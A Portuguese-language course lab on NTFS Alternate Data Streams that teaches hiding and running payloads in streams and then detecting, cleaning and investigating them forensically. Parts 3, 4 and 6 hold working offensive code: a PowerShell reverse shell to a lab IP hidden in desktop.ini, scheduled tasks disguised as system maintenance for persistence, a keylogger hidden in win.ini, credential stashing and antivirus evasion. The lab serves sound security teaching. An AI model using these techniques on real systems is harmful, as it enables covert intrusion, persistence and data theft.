Lab 4.2: Alternate Data Streams - Ocultação de Arquivos

Objetivos de Aprendizagem

Ao final deste laboratório, você será capaz de:

• Compreender o conceito de Alternate Data Streams no NTFS
• Criar e manipular fluxos de dados alternativos
• Esconder arquivos e código malicioso usando ADS
• Executar código a partir de um fluxo alternativo
• Detectar a presença de ADS em um sistema
• Limpar e remover ADS maliciosos

Duração Estimada

30 minutos

Pré-requisitos

• VM Windows com sistema de arquivos NTFS
• Linha de comando CMD e PowerShell
• Compreensão de sistemas de arquivos (aula teórica)
• Lab 4.1 concluído

Contexto Profissional

Os Alternate Data Streams (ADS) são uma funcionalidade legítima do NTFS, mas amplamente explorada por atacantes para:

• Esconder malwares
• Armazenar ferramentas sem detecção
• Bypassar certos antivírus
• Manter persistência discreta
• Exfiltrar dados de forma furtiva

Uso legítimo:

• Metadados de arquivos (zone identifier, autor, etc.)
• Atributos estendidos
• Thumbnails e previews
• Informações de download (Mark of the Web)

Uso malicioso:

• Ocultação de malware
• Armazenamento de credenciais roubadas
• Backdoors invisíveis
• Exfiltração de dados

---

AVISO ÉTICO E LEGAL

As técnicas de ocultação ensinadas neste lab são usadas por atacantes para esconder malwares e manter acesso furtivo a sistemas.

PERMITIDO:

• Em sua VM de teste
• Para testes de segurança autorizados
• Para investigação forense com permissão

PROIBIDO:

• Esconder malwares em sistemas reais
• Usar para ocultação de atividades maliciosas
• Exfiltração não autorizada de dados

CONSEQUÊNCIAS: Uso malicioso = Crime informático grave (Código Penal art. 342.1, 430).

---

Parte 1: Compreendendo os Alternate Data Streams

Etapa 1.1: Conceito Básico

Sistema de arquivos NTFS:

Cada arquivo NTFS possui na verdade vários "streams" (fluxos):

• Fluxo principal: O conteúdo visível do arquivo
• Fluxos alternativos: Dados adicionais invisíveis

Sintaxe:

fichier.txt                    → Fluxo principal
fichier.txt:stream1.txt        → Fluxo alternativo chamado "stream1.txt"
fichier.txt:hidden.exe         → Fluxo alternativo chamado "hidden.exe"

Características:

• Invisíveis no Windows Explorer
• Invisíveis com dir padrão
• Sem limite de tamanho
• Podem conter qualquer tipo de dado
• Podem ser executados

Etapa 1.2: Verificar Seu Sistema de Arquivos

Verifique se você está em NTFS:

fsutil fsinfo volumeinfo C:

Procure por: File System Name : NTFS

Se estiver em FAT32 ou exFAT: ADS NÃO funciona (apenas NTFS)

Perguntas:

1. Seu disco C: está em NTFS?
2. Você já ouviu falar de ADS antes deste lab?

---

Parte 2: Criação e Manipulação de ADS

Etapa 2.1: Crie Seu Primeiro ADS

Crie um arquivo normal:

echo Ceci est le contenu visible > normal.txt

Verifique o tamanho:

dir normal.txt

Deve mostrar cerca de 30 bytes.

Adicione um fluxo alternativo:

echo Ceci est un message secret caché > normal.txt:hidden.txt

Verifique novamente o tamanho:

dir normal.txt

IMPORTANTE: O tamanho NÃO mudou! Ainda 30 bytes!

Abra o arquivo com o Notepad:

notepad normal.txt

Você vê: "Ceci est le contenu visible"

A mensagem escondida está INVISÍVEL!

Etapa 2.2: Ler um ADS

Para ler o conteúdo do stream escondido:

more < normal.txt:hidden.txt

OU

notepad normal.txt:hidden.txt

O Notepad abre com o conteúdo escondido!

PowerShell:

Get-Content normal.txt:hidden.txt

Perguntas: 3. Você consegue ver o stream escondido com dir? 4. O arquivo "pesa" quanto com o stream escondido? (Mesmo tamanho!)

Etapa 2.3: Listar os ADS de um Arquivo

Comando para ver TODOS os streams:

dir /R normal.txt

Deve mostrar:

30 normal.txt
33 normal.txt:hidden.txt:$DATA

PowerShell (mais claro):

Get-Item normal.txt -Stream *

Resultado:

FileName: normal.txt

Stream                 Length
------                 ------
:$DATA                     30
hidden.txt                 33

O stream escondido é revelado!

Etapa 2.4: Criar Múltiplos ADS

Você pode ter vários streams em um mesmo arquivo:

echo Secret 1 > normal.txt:data1.txt
echo Secret 2 > normal.txt:data2.txt
echo Secret 3 > normal.txt:data3.txt

Listar todos:

Get-Item normal.txt -Stream *

Um único arquivo, 4 fluxos de dados (1 principal + 3 alternativos)!

Perguntas: 5. Quantos streams você pode criar em um arquivo? 6. Existe limite de tamanho para um ADS?

---

Parte 3: Ocultando Arquivos Executáveis

Etapa 3.1: Esconder um Executável Completo

Crie um script PowerShell malicioso:

Salve como malware.ps1:

Write-Host "Malware exécuté!" -ForegroundColor Red
whoami
hostname
Get-Process | Select-Object -First 10

Oculte-o em um arquivo de texto inocente:

type malware.ps1 > innocent.txt:malware.ps1

Verifique:

dir innocent.txt

Tamanho: Apenas alguns bytes (texto visível)!

Mas o script completo está escondido dentro!

Execute o script escondido:

powershell -ExecutionPolicy Bypass -File innocent.txt:malware.ps1

O script é executado a partir do stream escondido!

INCRÍVEL: Arquivo parece inocente (texto), mas contém um script completo!

Etapa 3.2: Esconder um Binário .exe

Baixe o netcat (nc.exe):

De: https://eternallybored.org/misc/netcat/

Oculte-o em um arquivo de imagem:

type nc.exe > photo.jpg:nc.exe

Verifique a foto:

dir photo.jpg

Tamanho normal de uma foto (alguns KB).

Abra photo.jpg: A imagem aparece normalmente!

Mas o netcat está escondido dentro!

Execute o netcat a partir do stream:

wmic process call create "C:\Users\SeuNome\Desktop\photo.jpg:nc.exe"

Netcat é executado a partir da foto!

Perguntas: 7. Um antivírus escaneia os ADS por padrão? 8. Como um analista forense poderia detectar isso?

Etapa 3.3: Persistência via ADS

Técnica avançada: Esconder backdoor + execução automática

Etapa 1 - Esconder o payload:

# Script de reverse shell
$reverseShell = @"
`$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444);
`$stream = `$client.GetStream();
[byte[]]`$bytes = 0..65535|%{0};
while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){
    `$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);
    `$sendback = (iex `$data 2>&1 | Out-String);
    `$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';
    `$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);
    `$stream.Write(`$sendbyte,0,`$sendbyte.Length);
    `$stream.Flush()
};
`$client.Close()
"@

# Esconder em um arquivo de sistema inocente
$reverseShell | Out-File -FilePath "C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

Etapa 2 - Criar tarefa agendada que executa a partir do ADS:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\System32\config\systemprofile\desktop.ini:backdoor.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger

Resultado:

• Backdoor completamente invisível
• Nenhum arquivo .ps1 visível
• Tarefa agendada parece normal
• Executa a cada inicialização
• Muito difícil de detectar!

---

Parte 4: Exfiltração de Dados via ADS

Etapa 4.1: Esconder Dados Roubados

Cenário: Você roubou credenciais e quer exfiltrar discretamente.

Crie um arquivo com dados sensíveis:

echo admin:Password123! > credentials.txt
echo user1:SecretPass456 >> credentials.txt
echo database:DBPassword789 >> credentials.txt

Oculte em um arquivo de sistema inocente:

type credentials.txt > C:\Windows\System32\notepad.exe:stolen_data.txt

Apague o original:

del credentials.txt

Verificação:

• credentials.txt não existe mais
• notepad.exe tem o mesmo tamanho de antes
• Dados escondidos em notepad.exe!

Recuperação posterior:

more < C:\Windows\System32\notepad.exe:stolen_data.txt

Dados recuperados!

Etapa 4.2: Exfiltração via Cópia

Para exfiltrar:

Método 1 - Cópia do arquivo inteiro:

copy C:\Windows\System32\notepad.exe E:\notepad_backup.exe

Em outra máquina, extraia o stream:

more < notepad_backup.exe:stolen_data.txt

Os streams são PRESERVADOS durante a cópia!

Método 2 - Extração direta do stream:

more < notepad.exe:stolen_data.txt > data.txt

Perguntas: 9. Os ADS são preservados durante uma cópia? 10. O que acontece se você copiar para um sistema FAT32?

---

Parte 5: Detecção de ADS

Etapa 5.1: Métodos de Detecção

Método 1 - DIR com opção /R:

dir /R C:\Users\%USERNAME%\Desktop

Mostra todos os streams de todos os arquivos.

Método 2 - PowerShell (Recursivo):

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -ErrorAction SilentlyContinue | 
  ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
               Where-Object {$_.Stream -ne ':$DATA'}
    if ($streams) {
      [PSCustomObject]@{
        File = $_.FullName
        Stream = $streams.Stream -join ", "
        Size = $streams.Length
      }
    }
  } | Format-Table -AutoSize

Método 3 - Ferramenta Streams (Sysinternals):

Baixar: https://learn.microsoft.com/en-us/sysinternals/downloads/streams

streams -s C:\Users\%USERNAME%

Mostra TODOS os arquivos com ADS!

Etapa 5.2: Script de Detecção Automatizado

Crie detect_ads.ps1:

param(
    [string]$Path = "C:\",
    [switch]$SuspiciousOnly
)

Write-Host "=== DETECTION ALTERNATE DATA STREAMS ===" -ForegroundColor Cyan
Write-Host "Scanning: $Path"
Write-Host ""

$suspiciousExtensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd', '.js')
$results = @()

Get-ChildItem -Path $Path -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    try {
        $file = $_
        $streams = Get-Item $file.FullName -Stream * -ErrorAction Stop | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        foreach ($stream in $streams) {
            $isSuspicious = $false
            $reason = ""
            
            # Verificar se extensão suspeita
            $streamExt = [System.IO.Path]::GetExtension($stream.Stream)
            if ($streamExt -in $suspiciousExtensions) {
                $isSuspicious = $true
                $reason = "Extensão executável"
            }
            
            # Verificar se stream volumoso
            if ($stream.Length -gt 10KB) {
                $isSuspicious = $true
                $reason += " Tamanho grande ($($stream.Length) bytes)"
            }
            
            # Se modo SuspiciousOnly, filtrar
            if (-not $SuspiciousOnly -or $isSuspicious) {
                $results += [PSCustomObject]@{
                    File = $file.FullName
                    Stream = $stream.Stream
                    Size = $stream.Length
                    Suspicious = $isSuspicious
                    Reason = $reason
                }
            }
        }
    } catch {}
}

if ($results.Count -gt 0) {
    Write-Host "ADS DETECTADOS:" -ForegroundColor Yellow
    $results | Format-Table -AutoSize
    
    Write-Host "`nTotal: $($results.Count) streams encontrados" -ForegroundColor Yellow
    $suspicious = ($results | Where-Object {$_.Suspicious}).Count
    if ($suspicious -gt 0) {
        Write-Host "ATENÇÃO: $suspicious streams suspeitos!" -ForegroundColor Red
    }
} else {
    Write-Host "Nenhum ADS detectado." -ForegroundColor Green
}

Execução:

# Escanear tudo
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\Users\$env:USERNAME

# Apenas os suspeitos
powershell -ExecutionPolicy Bypass -File detect_ads.ps1 -Path C:\ -SuspiciousOnly

Etapa 5.3: Zone Identifier (Uso Legítimo)

O Windows usa ADS para marcar arquivos baixados:

Baixe um arquivo da Internet, depois:

Get-Item fichier_telecharge.exe -Stream *

Você verá:

Stream: Zone.Identifier

Leia:

more < fichier_telecharge.exe:Zone.Identifier

Conteúdo:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/file.exe

ZoneId=3: Baixado da Internet (não confiável)

É por isso que o Windows mostra o aviso "Este arquivo veio da Internet"!

Perguntas: 11. Quais arquivos no seu sistema têm um stream Zone.Identifier? 12. Como remover esse stream? (para burlar o aviso)

---

Parte 6: Técnicas Ofensivas Avançadas

Etapa 6.1: Execução de Código a partir do ADS

Crie um batch malicioso:

@echo off
whoami > C:\Users\Public\whoami.txt
ipconfig > C:\Users\Public\ipconfig.txt
net user > C:\Users\Public\users.txt

Oculte-o:

type malware.bat > C:\Users\Public\readme.txt:payload.bat

Execute a partir do stream:

Método 1 - WMIC:

wmic process call create "C:\Users\Public\readme.txt:payload.bat"

Método 2 - PowerShell:

Start-Process -FilePath "C:\Users\Public\readme.txt:payload.bat"

O código é executado! Verifique:

type C:\Users\Public\whoami.txt

Seu nome de usuário aparece!

O malware estava completamente invisível até a execução!

Etapa 6.2: Esconder um Keylogger Completo

Use o keylogger do Lab 3.3:

Oculte-o em um arquivo de sistema:

type keylogger.ps1 > C:\Windows\win.ini:logger.ps1

win.ini: Arquivo legítimo do Windows, sempre presente, nunca suspeito!

Crie tarefa agendada para executá-lo:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\win.ini:logger.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger

Resultado:

• Keylogger completamente invisível
• Nenhum arquivo .ps1 visível
• Detecção MUITO difícil
• Funciona a cada login

Etapa 6.3: Bypassar Antivírus com ADS

Alguns antivírus NÃO escaneiam os ADS por padrão!

Teste com EICAR:

Crie arquivo EICAR normal:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > eicar.com

O Windows Defender deve IMEDIATAMENTE detectar e remover!

Agora, oculte no ADS:

echo X5O!P%%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > innocent.txt:eicar.com

Resultado: Alguns antivírus NÃO detectam!

NOTA: O Windows Defender moderno detecta ADS, mas nem todos os antivírus.

Perguntas: 13. O Defender detectou o EICAR no stream? 14. Por que os ADS são mais difíceis de escanear?

---

Parte 7: Limpeza e Remoção de ADS

Etapa 7.1: Remover um Stream Específico

PowerShell:

Remove-Item -Path "fichier.txt" -Stream "nom_du_stream"

Exemplo:

Remove-Item -Path "normal.txt" -Stream "hidden.txt"

Verifique:

Get-Item normal.txt -Stream *

O stream "hidden.txt" deve ter desaparecido!

Etapa 7.2: Remover TODOS os Streams de um Arquivo

Método 1 - Copiar para FAT32:

copy fichier.txt E:\USB_FAT32\fichier.txt

FAT32 NÃO suporta ADS: Todos removidos!

Método 2 - Ferramenta streams.exe:

streams -d fichier.txt

Opção -d: Deleta todos os streams

Método 3 - PowerShell recursivo:

Get-ChildItem -Path C:\Users\$env:USERNAME -Recurse -File | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
    foreach ($stream in $streams) {
        Write-Host "Removendo: $($_.FullName):$($stream.Stream)"
        Remove-Item -Path $_.FullName -Stream $stream.Stream
    }
}

ATENÇÃO: Isso remove TODOS os ADS, até mesmo legítimos (Zone.Identifier)!

Etapa 7.3: Limpeza de Segurança Completa

Script de limpeza automatizada:

Write-Host "=== LIMPEZA DE ADS MALICIOSOS ===" -ForegroundColor Cyan

$cleaned = 0
$extensions = @('.exe', '.dll', '.ps1', '.vbs', '.bat', '.cmd')

Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    try {
        $file = $_
        $streams = Get-Item $file.FullName -Stream * -ErrorAction Stop | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        foreach ($stream in $streams) {
            $streamExt = [System.IO.Path]::GetExtension($stream.Stream)
            
            # Remover se extensão executável
            if ($streamExt -in $extensions) {
                Write-Host "REMOVENDO: $($file.FullName):$($stream.Stream)" -ForegroundColor Red
                Remove-Item -Path $file.FullName -Stream $stream.Stream -ErrorAction Stop
                $cleaned++
            }
        }
    } catch {}
}

Write-Host "`nTotal: $cleaned streams maliciosos removidos" -ForegroundColor Green

Perguntas: 15. Quantos arquivos com ADS você encontrou em seu sistema? 16. Como diferenciar ADS legítimo de malicioso?

---

Parte 8: Forense e Investigação

Etapa 8.1: Analisar um Sistema Comprometido

Cenário: Você suspeita que um atacante usou ADS.

Investigação completa:

Write-Host "=== INVESTIGAÇÃO FORENSE ADS ===" -ForegroundColor Cyan

# Procurar em pastas de sistema
$systemFolders = @(
    "C:\Windows\System32",
    "C:\Windows\Temp",
    "C:\Users\*\AppData\Local\Temp"
)

foreach ($folder in $systemFolders) {
    Write-Host "`nScanning: $folder" -ForegroundColor Yellow
    
    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
                   Where-Object {$_.Stream -ne ':$DATA'}
        
        if ($streams) {
            Write-Host "  File: $($_.FullName)"
            foreach ($stream in $streams) {
                Write-Host "    Stream: $($stream.Stream) ($($stream.Length) bytes)"
                
                # Ler os primeiros bytes para análise
                $content = Get-Content $_.FullName:$($stream.Stream) -TotalCount 5 -ErrorAction SilentlyContinue
                if ($content) {
                    Write-Host "    Preview: $($content -join ' ')"
                }
            }
        }
    }
}

Etapa 8.2: Timeline Analysis

Criar timeline dos ADS:

Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
    Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue | 
    Where-Object {$_.Stream -ne ':$DATA'} | 
    Select-Object @{N='File';E={$_.FileName}}, 
                  Stream, 
                  @{N='Size';E={$_.Length}},
                  @{N='Created';E={(Get-Item $_.FileName).CreationTime}},
                  @{N='Modified';E={(Get-Item $_.FileName).LastWriteTime}}
} | Sort-Object Modified -Descending | Format-Table -AutoSize

Permite ver:

• Quando os arquivos foram modificados
• Correlação com eventos suspeitos
• Timeline do ataque

Etapa 8.3: Extração para Análise

Extrair todos os ADS em uma pasta para análise:

$outputDir = "C:\Forensics\ADS_Extract"
New-Item -ItemType Directory -Force -Path $outputDir

Get-ChildItem C:\Suspect\Path -Recurse -File | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * | Where-Object {$_.Stream -ne ':$DATA'}
    foreach ($stream in $streams) {
        $outputFile = Join-Path $outputDir "$($_.Name)_$($stream.Stream)"
        Get-Content $_.FullName:$($stream.Stream) -Raw | Out-File $outputFile
        Write-Host "Extracted: $outputFile"
    }
}

Depois: Análise com antivírus, decompilação, análise estática

Perguntas: 17. Quais ferramentas você usaria para analisar um ADS suspeito? 18. Como reconstruir a timeline de um ataque usando ADS?

---

Entregáveis

A entregar:

1. Relatório técnico (Word/PDF, 3-4 páginas):

   • Respostas às 18 perguntas
   • Explicação do conceito de ADS
   • Demonstração de 3 técnicas de ocultação
   • Resultados do script de detecção

2. Capturas de tela (mínimo 6):

   • Criação de ADS com arquivo oculto
   • dir vs dir /R (diferença visível)
   • Execução de código a partir do ADS
   • Detecção com PowerShell
   • Lista de streams (Get-Item -Stream *)
   • Remoção de ADS

3. Scripts desenvolvidos:

   • Script de detecção aprimorado
   • Script de limpeza automatizada
   • Script de extração forense

4. Análise de caso (1-2 páginas):

   • Cenário de ataque usando ADS
   • Metodologia de detecção
   • Plano de remediação

---

Critérios de Avaliação

Critério	Pontos
Compreensão do conceito de ADS	20%
Criação e manipulação de ADS	25%
Detecção de ADS existentes	20%
Script de detecção funcional	20%
Análise forense e remediação	15%

---

Comandos de Referência Rápida

Criação

echo conteúdo > fichier.txt:stream.txt
type source.exe > fichier.txt:hidden.exe

Leitura

more < fichier.txt:stream.txt
notepad fichier.txt:stream.txt
type fichier.txt:stream.txt

Detecção

dir /R
streams -s C:\

Get-Item fichier.txt -Stream *
Get-ChildItem -Recurse | Get-Item -Stream * | Where Stream -ne ':$DATA'

Execução

wmic process call create "fichier.txt:payload.bat"
start fichier.txt:payload.exe
powershell -File fichier.txt:script.ps1

Remoção

Remove-Item fichier.txt -Stream stream_name

streams -d fichier.txt

---

Solução de Problemas

Problema: "Acesso negado" ao criar ADS

Solução: Verifique se você tem permissões de escrita no arquivo principal. Se não puder modificar o arquivo, não poderá adicionar um stream.

Problema: ADS não funciona

Solução: Verifique se você está em NTFS. FAT32/exFAT não suportam ADS.

Problema: Stream copiado para USB desaparece

Solução: Seu USB provavelmente está em FAT32. Os ADS são perdidos ao copiar para sistemas de arquivos não-NTFS.

---

Indo Além (Opcional)

Desafio 1: ADS Forense

Analise um arquivo suspeito com ADS:

• Extraia todos os streams
• Analise o conteúdo (strings, hex dump)
• Identifique o propósito malicioso
• Documente os indicadores de comprometimento (IOCs)

Desafio 2: Proteção Proativa

Desenvolva um serviço de monitoramento que:

• Monitore a criação de novos ADS
• Alerta sobre extensões executáveis
• Log todas as operações ADS
• Bloqueie automaticamente ADS suspeitos

Desafio 3: Pesquisa

Estude malwares reais que usam ADS:

• Trojan.Sriknot (2007)
• Técnicas de exfiltração de dados via streaming
• Grupos APT usando ADS para persistência

---

Recursos Adicionais

• Microsoft: File Streams
• Sysinternals Streams Tool
• NTFS Alternate Data Streams
• Detecting ADS

---

Conclusão

Este lab ensinou:

• O conceito e funcionamento dos Alternate Data Streams
• Técnicas de ocultação de arquivos e código malicioso
• Execução de código a partir de streams ocultos
• Métodos de detecção forense
• Limpeza e remediação

Lições-chave:

1. ADS permitem esconder arquivos completos dentro de outros arquivos
2. Arquivos escondidos em ADS são invisíveis com ferramentas padrão
3. Código pode ser executado diretamente de um ADS
4. Detecção requer ferramentas especializadas ou comandos específicos
5. ADS são uma técnica de persistência e ocultação muito eficaz

Em um contexto real:

• Usado por malwares sofisticados para evitar detecção
• Técnica de persistência discreta
• Exfiltração de dados furtiva
• Requer forense avançada para detectar

Próxima etapa: Lab 4.3 onde você aprenderá a recuperar arquivos "apagados definitivamente" usando as Shadow Copies do Windows!

---

Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 4